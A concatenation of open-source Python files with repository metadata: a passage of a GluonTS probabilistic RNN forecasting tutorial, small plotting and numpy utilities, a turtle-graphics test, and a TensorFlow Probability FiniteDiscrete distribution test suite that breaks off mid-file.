axis=1, begin=-(self.context_length + self.prediction_length), end=None\n        )\n\n        # project network output to distribution parameters domain\n        distr_args = self.proj_distr_args(net_output)\n\n        # compute distribution\n        distr = self.distr_output.distribution(distr_args, scale=scale)\n\n        # negative log-likelihood\n        loss = distr.loss(target_out)\n        return loss\n\n\nclass MyProbPredRNN(MyProbTrainRNN):\n    def sample_decoder(self, F, past_target, states, scale):\n        # repeat fields: from (batch_size, past_target_length) to\n        # (batch_size * num_sample_paths, past_target_length)\n        repeated_states = [\n            s.repeat(repeats=self.num_sample_paths, axis=0)\n            for s in states\n        ]\n        repeated_scale = scale.repeat(repeats=self.num_sample_paths, axis=0)\n\n        # first decoder input is the last value of the past_target, i.e.,\n        # the previous value of the first time step we want to forecast\n        decoder_input = past_target.slice_axis(\n            axis=1, begin=-1, end=None\n        ).repeat(\n            repeats=self.num_sample_paths, axis=0\n        )\n\n        # list with samples at each time step\n        future_samples = []\n\n        # for each future time step we draw new samples for this time step and update the state\n        # the drawn samples are the inputs to the rnn at the next time step\n        for k in range(self.prediction_length):\n            rnn_outputs, repeated_states = self.rnn.unroll(\n                inputs=decoder_input,\n                length=1,\n                begin_state=repeated_states,\n                layout=\"NTC\",\n                merge_outputs=True,\n            )\n\n            # project network output to distribution parameters domain\n            distr_args = self.proj_distr_args(rnn_outputs)\n\n            # compute distribution\n            distr = self.distr_output.distribution(distr_args, scale=repeated_scale)\n\n            # draw samples (batch_size * num_samples, 1)\n            new_samples = distr.sample()\n\n            # append the samples of the current time step\n            future_samples.append(new_samples)\n\n            # update decoder input for the next time step\n            decoder_input = new_samples\n\n        samples = F.concat(*future_samples, dim=1)\n\n        # (batch_size, num_samples, prediction_length)\n        return samples.reshape(shape=(-1, self.num_sample_paths, self.prediction_length))\n\n    def hybrid_forward(self, F, past_target, past_observed_values):\n        # unroll encoder over context_length\n        net_output, states, scale = self.unroll_encoder(F,\n                                                        past_target,\n                                                        past_observed_values)\n\n        samples = self.sample_decoder(F, past_target, states, scale)\n\n        return samples\n\n\n# In[87]:\n\n\nclass MyProbRNNEstimator(GluonEstimator):\n    @validated()\n    def __init__(\n            self,\n            prediction_length: int,\n            context_length: int,\n            freq: str,\n            distr_output: DistributionOutput,\n            num_cells: int,\n            num_layers: int,\n            num_sample_paths: int = 100,\n            scaling: bool = True,\n            trainer: Trainer = Trainer()\n    ) -> None:\n        super().__init__(trainer=trainer)\n        self.prediction_length = prediction_length\n        self.context_length = context_length\n        self.freq = freq\n        self.distr_output = distr_output\n        self.num_cells = num_cells\n        self.num_layers = num_layers\n        self.num_sample_paths = num_sample_paths\n        self.scaling = scaling\n\n    def create_transformation(self):\n        # Feature transformation that the model uses for input.\n        return Chain(\n            [\n                AddObservedValuesIndicator(\n                    target_field=FieldName.TARGET,\n                    output_field=FieldName.OBSERVED_VALUES,\n                ),\n                InstanceSplitter(\n                    target_field=FieldName.TARGET,\n                    is_pad_field=FieldName.IS_PAD,\n                    start_field=FieldName.START,\n                    forecast_start_field=FieldName.FORECAST_START,\n                    train_sampler=ExpectedNumInstanceSampler(num_instances=1),\n                    past_length=self.context_length + 1,\n                    future_length=self.prediction_length,\n                    time_series_fields=[\n                        FieldName.FEAT_DYNAMIC_REAL,\n                        FieldName.OBSERVED_VALUES,\n                    ],\n                ),\n\n            ]\n        )\n\n    def create_training_network(self) -> MyProbTrainRNN:\n        return MyProbTrainRNN(\n            prediction_length=self.prediction_length,\n            context_length=self.context_length,\n            distr_output=self.distr_output,\n            num_cells=self.num_cells,\n            num_layers=self.num_layers,\n            num_sample_paths=self.num_sample_paths,\n            scaling=self.scaling\n        )\n\n    def create_predictor(\n            self, transformation: Transformation, trained_network: HybridBlock\n    ) -> Predictor:\n        prediction_network = MyProbPredRNN(\n            prediction_length=self.prediction_length,\n            context_length=self.context_length,\n            distr_output=self.distr_output,\n            num_cells=self.num_cells,\n            num_layers=self.num_layers,\n            num_sample_paths=self.num_sample_paths,\n            scaling=self.scaling\n        )\n\n        copy_parameters(trained_network, prediction_network)\n\n        return RepresentableBlockPredictor(\n            input_transform=transformation,\n            prediction_net=prediction_network,\n            batch_size=self.trainer.batch_size,\n            freq=self.freq,\n            prediction_length=self.prediction_length,\n            ctx=self.trainer.ctx,\n        )\n\n\n# In[88]:\n\n\nestimator = MyProbRNNEstimator(\n        prediction_length=24,\n        context_length=48,\n        freq=\"1H\",\n        num_cells=40,\n        num_layers=2,\n        distr_output=GaussianOutput(),\n        trainer=Trainer(ctx=\"cpu\",\n                        epochs=5,\n                        learning_rate=1e-3,\n                        hybridize=False,\n                        num_batches_per_epoch=100\n                       )\n    )\n\n\n# In[89]:\n\n\npredictor = estimator.train(train_ds)\n\n\n# In[90]:\n\n\nforecast_it, ts_it = make_evaluation_predictions(\n    dataset=test_ds,  # test dataset\n    predictor=predictor,  # predictor\n    num_samples=100,  # number of sample paths we want for evaluation\n)\n\n\n# In[91]:\n\n\nforecasts = list(forecast_it)\ntss = list(ts_it)\n\n\n# In[92]:\n\n\nplot_prob_forecasts(tss[0], forecasts[0])\n\n", "meta": {"hexsha": "c22bf7c3f38b6ab0f364df4c7bd653806be486d0", "size": 74388, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/official_tutorials_python/extended_tutorial.py", "max_stars_repo_name": "ck032/gluon-ts", "max_stars_repo_head_hexsha": "ee923cd829524afbbb9735773d1f15a4a4473177", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2020-08-12T08:20:42.000Z", "max_stars_repo_stars_event_max_datetime": "2020-08-12T08:20:42.000Z", "max_issues_repo_path": "examples/official_tutorials_python/extended_tutorial.py", "max_issues_repo_name": "ck032/gluon-ts", "max_issues_repo_head_hexsha": "ee923cd829524afbbb9735773d1f15a4a4473177", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-10-07T08:22:02.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-07T08:28:04.000Z", "max_forks_repo_path": "examples/official_tutorials_python/extended_tutorial.py", "max_forks_repo_name": "ck032/gluon-ts", "max_forks_repo_head_hexsha": "ee923cd829524afbbb9735773d1f15a4a4473177", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.8075210292, "max_line_length": 715, "alphanum_fraction": 0.6812120234, "include": true, "reason": "import numpy", "num_tokens": 16731, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.11124120650754304, "lm_q1q2_score": 0.050421394837070165}}
{"text": "\"\"\"\r\n\r\nUtility to download a dataset\r\n\r\n    Author: Ioannis Kourouklides, www.kourouklides.com\r\n    License: https://github.com/kourouklides/artificial_neural_networks/blob/master/LICENSE\r\n\r\n\r\n\"\"\"\r\n# %%\r\n\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nimport numpy as np\r\n\r\nimport itertools\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef plot_confusion_matrix(cm, classes, title='Confusion matrix',\r\n                          cmap=plt.cm.Blues):\r\n\r\n        plt.imshow(cm, interpolation='nearest', cmap=cmap)\r\n        plt.title(title)\r\n        plt.colorbar()\r\n        tick_marks = np.arange(len(classes))\r\n        plt.xticks(tick_marks, classes)\r\n        plt.yticks(tick_marks, classes)\r\n\r\n        fmt = 'd'\r\n        thresh = cm.max() / 2.\r\n        for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\r\n            plt.text(j, i, format(cm[i, j], fmt),\r\n                     horizontalalignment=\"center\",\r\n                     color=\"white\" if cm[i, j] > thresh else \"black\")\r\n\r\n        plt.ylabel('Actual label')\r\n        plt.xlabel('Predicted label')\r\n        plt.tight_layout()\r\n        plt.show()\r\n", "meta": {"hexsha": "926dd0698d50c1655abaf37b2e73562815262ff7", "size": 1184, "ext": "py", "lang": "Python", "max_stars_repo_path": "code/utils/vis_utils.py", "max_stars_repo_name": "kourouklides-ImpacTech/artificial_neural_networks", "max_stars_repo_head_hexsha": "83c37f7669fe1aa2bac92cce4bb7549e1e67d32f", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2019-01-11T00:53:29.000Z", "max_stars_repo_stars_event_max_datetime": "2019-01-11T00:53:29.000Z", "max_issues_repo_path": "code/utils/vis_utils.py", "max_issues_repo_name": "kourouklides-ImpacTech/artificial_neural_networks", "max_issues_repo_head_hexsha": "83c37f7669fe1aa2bac92cce4bb7549e1e67d32f", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "code/utils/vis_utils.py", "max_forks_repo_name": "kourouklides-ImpacTech/artificial_neural_networks", "max_forks_repo_head_hexsha": "83c37f7669fe1aa2bac92cce4bb7549e1e67d32f", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.9090909091, "max_line_length": 92, "alphanum_fraction": 0.6047297297, "include": true, "reason": "import numpy", "num_tokens": 260, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.11124120503431591, "lm_q1q2_score": 0.0504213941693125}}
{"text": "\"\"\"\nA utilities file with useful utilities.\n\"\"\"\nimport numpy as np\n\n\ndef log(string, verbose=True):\n  \"\"\"Print string if verbose.\"\"\"\n  if verbose:\n    print(string)\n\n\ndef from_one_hot(y, axis=1):\n  \"\"\"Transorms label vector from one-hot encoding.\n\n    y: np.ndarray\n      A vector of shape [n_samples, num_classes]\n    \"\"\"\n  return np.argmax(y, axis=axis)\n", "meta": {"hexsha": "776bfe4b9a93fac05347712ea80a61cbceb820e3", "size": 356, "ext": "py", "lang": "Python", "max_stars_repo_path": "torchchem/utils.py", "max_stars_repo_name": "scarcella/torchchem", "max_stars_repo_head_hexsha": "48540715948cf75a2018eff736c00a3040f38fa7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 36, "max_stars_repo_stars_event_min_datetime": "2020-03-07T19:32:39.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T10:15:38.000Z", "max_issues_repo_path": "torchchem/utils.py", "max_issues_repo_name": "RickeyEstes/torchchem", "max_issues_repo_head_hexsha": "b4cee54088c2d1d52c349c3ed67126bc86940ba8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 10, "max_issues_repo_issues_event_min_datetime": "2020-03-14T02:49:46.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-10T01:08:03.000Z", "max_forks_repo_path": "torchchem/utils.py", "max_forks_repo_name": "RickeyEstes/torchchem", "max_forks_repo_head_hexsha": "b4cee54088c2d1d52c349c3ed67126bc86940ba8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 12, "max_forks_repo_forks_event_min_datetime": "2020-03-18T06:54:46.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-18T22:57:00.000Z", "avg_line_length": 17.8, "max_line_length": 50, "alphanum_fraction": 0.6657303371, "include": true, "reason": "import numpy", "num_tokens": 88, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45326184801538616, "lm_q2_score": 0.11124119766818044, "lm_q1q2_score": 0.05042139083052433}}
{"text": "\"\"\"\nUnit test for turtle package\n\nIt is impossible to have automated tests for this package.  But we can at least draw\non the screen for the user to prevent issues like we had with release 2.0.\n\n:author:  Walker M. White (wmw2)\n:version: August 20, 2019\n\"\"\"\nimport unittest\nimport numpy\nfrom introcs.turtle import *\n\n\nclass TurtleTest(unittest.TestCase):\n    \"\"\"\n    Unit test for the turtle package\n    \"\"\"\n    \n    def setUp(self):\n        \"\"\"\n        Initializes a unit test (UNUSED)\n        \"\"\"\n        self.window = Window()\n        self.turtle = Turtle(self.window)\n        self.turtle.speed = 4\n        self.turtle.color = \"red\"\n    \n    def tearDown(self):\n        \"\"\"\n        Completes a unit test (UNUSED)\n        \"\"\"\n        self.window.clear()\n        self.window.dispose()\n    \n    def test01_spiral(self):\n        \"\"\"\n        Tests the urlread function.\n        \"\"\"\n        self.turtle.clear()\n        \n        ang = 100\n        side = 10\n        for x in range(20):\n            self.turtle.forward((x+1)*side)\n            self.turtle.left(ang)\n            if x % 3 == 0:\n                self.turtle.color = \"blue\"\n            if x % 3 == 1:\n                self.turtle.color = \"red\"\n            if x % 3 == 2:\n                self.turtle.color = \"green\"\n\n\nif __name__=='__main__':\n  unittest.main( )\n", "meta": {"hexsha": "36e690b734b0727ea6d5b3ce385458c382dd0863", "size": 1315, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_turtle.py", "max_stars_repo_name": "WalkerWhite/introcs-python", "max_stars_repo_head_hexsha": "c4bcc697e49a371a4254ae9cb883cf06aa6f9e4f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-12-26T03:15:59.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-26T03:15:59.000Z", "max_issues_repo_path": "tests/test_turtle.py", "max_issues_repo_name": "WalkerWhite/introcs-python", "max_issues_repo_head_hexsha": "c4bcc697e49a371a4254ae9cb883cf06aa6f9e4f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/test_turtle.py", "max_forks_repo_name": "WalkerWhite/introcs-python", "max_forks_repo_head_hexsha": "c4bcc697e49a371a4254ae9cb883cf06aa6f9e4f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2021-01-20T01:38:08.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-17T02:15:37.000Z", "avg_line_length": 23.0701754386, "max_line_length": 84, "alphanum_fraction": 0.5368821293, "include": true, "reason": "import numpy", "num_tokens": 318, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42250464935739196, "lm_q2_score": 0.11920292984474948, "lm_q1q2_score": 0.05036379207642967}}
{"text": "# Copyright 2018 The TensorFlow Probability Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#     http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ============================================================================\n\"\"\"Tests for FiniteDiscrete distribution classs.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow.compat.v1 as tf1\nimport tensorflow.compat.v2 as tf\nfrom tensorflow_probability.python import distributions as tfd\nfrom tensorflow_probability.python.internal import test_util\n\n\n@test_util.test_all_tf_execution_regimes\nclass FiniteDiscreteTest(object):\n\n  def _build_tensor(self, ndarray):\n    # Enforce parameterized dtype and static/dynamic testing.\n    ndarray = np.asarray(ndarray)\n    return tf1.placeholder_with_default(\n        input=ndarray, shape=ndarray.shape if self.use_static_shape else None)\n\n  def _get_shape(self, tensor):\n    return tensor.shape if self.use_static_shape else tf.shape(input=tensor)\n\n\nclass FiniteDiscreteValidateArgsTest(FiniteDiscreteTest):\n\n  def testInequalLastDimRaises(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([0.25, 0.25, 0.5])\n    with self.assertRaisesWithPredicateMatch(\n        Exception, 'Last dimension of outcomes and probs must be equal size.'):\n      dist = tfd.FiniteDiscrete(\n          outcomes, probs=probs, validate_args=True)\n      self.evaluate(dist.mean())\n\n  def testRankOfOutcomesLargerThanOneRaises(self):\n    outcomes = self._build_tensor([[1.0, 2.0], [3.0, 4.0]])\n    probs = self._build_tensor([0.5, 0.5])\n    with self.assertRaisesWithPredicateMatch(Exception,\n                                             'Rank of outcomes must be 1.'):\n      dist = tfd.FiniteDiscrete(\n          outcomes, probs=probs, validate_args=True)\n      self.evaluate(dist.mean())\n\n  def testSizeOfOutcomesIsZeroRaises(self):\n    # Skip this test in dynamic mode, because the \"same last dimensions\" check\n    # may fail first.  Static mode is OK because the ValueError is raised in\n    # Python.\n    if not self.use_static_shape:\n      return\n\n    outcomes = self._build_tensor([])\n    probs = self._build_tensor([0.5, 0.5])\n    with self.assertRaisesWithPredicateMatch(\n        Exception, 'Size of outcomes must be greater than 0.'):\n      dist = tfd.FiniteDiscrete(\n          outcomes, probs=probs, validate_args=True)\n      self.evaluate(dist.mean())\n\n  def testOutcomesNotStrictlyIncreasingRaises(self):\n    outcomes = self._build_tensor([1.0, 1.0, 2.0, 2.0])\n    probs = self._build_tensor([0.25, 0.25, 0.25, 0.25])\n    with self.assertRaisesWithPredicateMatch(\n        Exception, 'outcomes is not strictly increasing.'):\n      dist = tfd.FiniteDiscrete(\n          outcomes, probs=probs, validate_args=True)\n      self.evaluate(dist.mean())\n\n\nclass FiniteDiscreteScalarTest(FiniteDiscreteTest):\n  \"\"\"Tests FiniteDiscrete when `logits` or `probs` is a 1-D tensor.\"\"\"\n\n  def testShape(self):\n    outcomes = self._build_tensor([0.0, 0.2, 0.3, 0.5])\n    logits = self._build_tensor([-0.1, 0.0, 0.1, 0.2])\n    dist = tfd.FiniteDiscrete(\n        outcomes, logits=logits, validate_args=True)\n    if self.use_static_shape:\n      self.assertAllEqual([], dist.batch_shape)\n    self.assertAllEqual([], dist.batch_shape_tensor())\n    self.assertAllEqual([], dist.event_shape)\n    self.assertAllEqual([], dist.event_shape_tensor())\n\n  def testMean(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([0.5, 0.5])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    mean = dist.mean()\n    self.assertAllEqual((), self._get_shape(mean))\n    self.assertAllClose(1.5, mean)\n\n  def testStddevAndVariance(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([0.5, 0.5])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    stddev = dist.stddev()\n    self.assertAllEqual((), self._get_shape(stddev))\n    self.assertAllClose(0.5, stddev)\n    variance = dist.variance()\n    self.assertAllEqual((), self._get_shape(variance))\n    self.assertAllClose(0.25, variance)\n\n  def testEntropy(self):\n    outcomes = self._build_tensor([1, 2, 3, 4])\n    probs = np.array([0.125, 0.125, 0.25, 0.5])\n    outcome_probs = self._build_tensor(probs)\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=outcome_probs, validate_args=True)\n    entropy = dist.entropy()\n    self.assertAllEqual((), self._get_shape(entropy))\n    self.assertAllClose(np.sum(-probs * np.log(probs)), entropy)\n\n  def testMode(self):\n    outcomes = self._build_tensor([1.0, 2.0, 3.0])\n    probs = self._build_tensor([0.3, 0.1, 0.6])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    mode = dist.mode()\n    self.assertAllEqual((), self._get_shape(mode))\n    self.assertAllClose(3.0, mode)\n\n  def testModeWithIntegerOutcomes(self):\n    outcomes = self._build_tensor([1, 2, 3])\n    probs = self._build_tensor([0.3, 0.1, 0.6])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    mode = dist.mode()\n    self.assertAllEqual((), self._get_shape(mode))\n    self.assertAllEqual(3, mode)\n\n  def testSample(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([0.2, 0.8])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    samples = self.evaluate(dist.sample(5000, seed=1234))\n    self.assertAllEqual((5000,), self._get_shape(samples))\n    self.assertAllClose(np.mean(samples), dist.mean(), atol=0.1)\n    self.assertAllClose(np.std(samples), dist.stddev(), atol=0.1)\n\n  def testSampleWithIntegerOutcomes(self):\n    outcomes = self._build_tensor([1, 2])\n    probs = self._build_tensor([0.2, 0.8])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    samples = self.evaluate(dist.sample(5000, seed=1234))\n    self.assertAllClose(np.mean(samples), dist.mean(), atol=0.1)\n    self.assertAllClose(np.std(samples), dist.stddev(), atol=0.1)\n\n  def testPMF(self):\n    outcomes = self._build_tensor([1.0, 2.0, 4.0, 8.0])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    prob = dist.prob(4.0)\n    self.assertAllEqual((), self._get_shape(prob))\n    self.assertAllClose(0.2, prob)\n    # Outcome with zero probability.\n    prob = dist.prob(1.0)\n    self.assertAllEqual((), self._get_shape(prob))\n    self.assertAllClose(0.0, prob)\n    # Input that is not in the list of possible outcomes.\n    prob = dist.prob(3.0)\n    self.assertAllEqual((), self._get_shape(prob))\n    self.assertAllClose(0.0, prob)\n\n  def testPMFWithBatchSampleShape(self):\n    outcomes = self._build_tensor([1.0, 2.0, 4.0, 8.0])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    x = self._build_tensor([[1.0], [2.0], [3.0], [4.0], [8.0]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    prob = dist.prob(x)\n    self.assertAllEqual((5, 1), self._get_shape(prob))\n    self.assertAllClose([[0.0], [0.1], [0.0], [0.2], [0.7]], prob)\n\n  def testPMFWithIntegerOutcomes(self):\n    outcomes = self._build_tensor([1, 2, 4, 8])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    x = self._build_tensor([[1], [2], [3], [4], [8]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    prob = dist.prob(x)\n    self.assertAllEqual((5, 1), self._get_shape(prob))\n    self.assertAllClose([[0.0], [0.1], [0.0], [0.2], [0.7]], prob)\n\n  def testCDF(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4, 0.8])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    cdf = dist.cdf(0.4)\n    self.assertAllEqual((), self._get_shape(cdf))\n    self.assertAllClose(0.3, cdf)\n\n  def testCDFWithBatchSampleShape(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4, 0.8])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    x = self._build_tensor([[0.0999, 0.1], [0.2, 0.4], [0.8, 0.8001]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    cdf = dist.cdf(x)\n    self.assertAllEqual((3, 2), self._get_shape(cdf))\n    self.assertAllClose([[0.0, 0.0], [0.1, 0.3], [1.0, 1.0]], cdf)\n\n  def testCDFWithIntegerOutcomes(self):\n    outcomes = self._build_tensor([1, 2, 4, 8])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    x = self._build_tensor([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    cdf = dist.cdf(x)\n    self.assertAllEqual((10,), self._get_shape(cdf))\n    self.assertAllClose([0.0, 0.0, 0.1, 0.1, 0.3, 0.3, 0.3, 0.3, 1.0, 1.0], cdf)\n\n  def testCDFWithDifferentAtol(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4, 0.8])\n    probs = self._build_tensor([0.0, 0.1, 0.2, 0.7])\n    x = self._build_tensor([[0.095, 0.095], [0.395, 0.395]])\n    dist1 = tfd.FiniteDiscrete(\n        outcomes, probs=probs, atol=0.001, validate_args=True)\n    cdf = dist1.cdf(x)\n    self.assertAllEqual((2, 2), self._get_shape(cdf))\n    self.assertAllClose([[0.0, 0.0], [0.1, 0.1]], cdf)\n    dist2 = tfd.FiniteDiscrete(\n        outcomes, probs=probs, atol=0.01, validate_args=True)\n    cdf = dist2.cdf(x)\n    self.assertAllEqual((2, 2), self._get_shape(cdf))\n    self.assertAllClose([[0.0, 0.0], [0.3, 0.3]], cdf)\n\n\nclass FiniteDiscreteVectorTest(FiniteDiscreteTest):\n  \"\"\"Tests FiniteDiscrete when `logits` or `probs` is a tensor with rank >= 2.\"\"\"\n\n  def testShapes(self):\n    outcomes = [0.0, 0.2, 0.3, 0.5]\n    outcomes_tensor = self._build_tensor(outcomes)\n    for batch_shape in ([1], [2], [3, 4, 5]):\n      logits = self._build_tensor(\n          np.random.uniform(-1, 1, size=list(batch_shape) + [len(outcomes)]))\n      dist = tfd.FiniteDiscrete(\n          outcomes_tensor, logits=logits, validate_args=True)\n      if self.use_static_shape:\n        self.assertAllEqual(batch_shape, dist.batch_shape)\n      self.assertAllEqual(batch_shape, dist.batch_shape_tensor())\n      self.assertAllEqual([], dist.event_shape)\n      self.assertAllEqual([], dist.event_shape_tensor())\n\n  def testMean(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([[0.5, 0.5], [0.2, 0.8]])\n    expected_means = [1.5, 1.8]\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    mean = dist.mean()\n    self.assertAllEqual((2,), self._get_shape(mean))\n    self.assertAllClose(expected_means, mean)\n\n  def testStddevAndVariance(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([[0.5, 0.5], [0.2, 0.8]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    stddev = dist.stddev()\n    self.assertAllEqual((2,), self._get_shape(stddev))\n    self.assertAllClose([0.5, 0.4], stddev)\n    variance = dist.variance()\n    self.assertAllEqual((2,), self._get_shape(variance))\n    self.assertAllClose([0.25, 0.16], variance)\n\n  def testMode(self):\n    outcomes = self._build_tensor([1.0, 2.0, 3.0])\n    probs = self._build_tensor([[0.3, 0.1, 0.6], [0.5, 0.4, 0.1],\n                                [0.3, 0.5, 0.2]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    mode = dist.mode()\n    self.assertAllEqual((3,), self._get_shape(mode))\n    self.assertAllClose([3.0, 1.0, 2.0], mode)\n\n  def testEntropy(self):\n    outcomes = self._build_tensor([1, 2, 3, 4])\n    probs = np.array([[0.125, 0.125, 0.25, 0.5], [0.25, 0.25, 0.25, 0.25]])\n    outcome_probs = self._build_tensor(probs)\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=outcome_probs, validate_args=True)\n    entropy = dist.entropy()\n    self.assertAllEqual((2,), self._get_shape(entropy))\n    self.assertAllClose(np.sum(-probs * np.log(probs), axis=1), entropy)\n\n  def testSample(self):\n    outcomes = self._build_tensor([1.0, 2.0])\n    probs = self._build_tensor([[0.2, 0.8], [0.8, 0.2]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    samples = self.evaluate(dist.sample(5000, seed=1234))\n    self.assertAllEqual((5000, 2), self._get_shape(samples))\n    self.assertAllClose(np.mean(samples, axis=0), dist.mean(), atol=0.1)\n    self.assertAllClose(np.std(samples, axis=0), dist.stddev(), atol=0.1)\n\n  def testPMF(self):\n    outcomes = self._build_tensor([1.0, 2.0, 4.0, 8.0])\n    probs = self._build_tensor([[0.0, 0.1, 0.2, 0.7], [0.5, 0.3, 0.2, 0.0]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    prob = dist.prob(8.0)\n    self.assertAllEqual((2,), self._get_shape(prob))\n    self.assertAllClose([0.7, 0.0], prob)\n\n  def testPMFWithBatchSampleShape(self):\n    outcomes = self._build_tensor([1.0, 2.0, 4.0, 8.0])\n    probs = self._build_tensor([[0.0, 0.1, 0.2, 0.7], [0.5, 0.3, 0.2, 0.0]])\n    x = self._build_tensor([[1.0], [2.0], [3.0], [4.0], [8.0]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    prob = dist.prob(x)\n    self.assertAllEqual((5, 2), self._get_shape(prob))\n    self.assertAllClose(\n        [[0.0, 0.5], [0.1, 0.3], [0.0, 0.0], [0.2, 0.2], [0.7, 0.0]], prob)\n\n  def testCDF(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4, 0.8])\n    probs = self._build_tensor([[0.0, 0.1, 0.2, 0.7], [0.5, 0.3, 0.2, 0.0]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    cdf = dist.cdf(0.4)\n    self.assertAllEqual((2,), self._get_shape(cdf))\n    self.assertAllClose([0.3, 1.0], cdf)\n\n  def testCDFWithBatchSampleShape(self):\n    outcomes = self._build_tensor([0.1, 0.2, 0.4, 0.8])\n    probs = self._build_tensor([[0.0, 0.1, 0.2, 0.7], [0.5, 0.3, 0.2, 0.0]])\n    x = self._build_tensor([[0.0999, 0.0999], [0.1, 0.1], [0.2, 0.2],\n                            [0.4, 0.4], [0.8, 0.8], [0.8001, 0.8001]])\n    dist = tfd.FiniteDiscrete(\n        outcomes, probs=probs, validate_args=True)\n    cdf = dist.cdf(x)\n    self.assertAllEqual((6, 2), self._get_shape(cdf))\n    self.assertAllClose([[0.0, 0.0], [0.0, 0.5], [0.1, 0.8], [0.3, 1.0],\n                         [1.0, 1.0], [1.0, 1.0]], cdf)\n\n 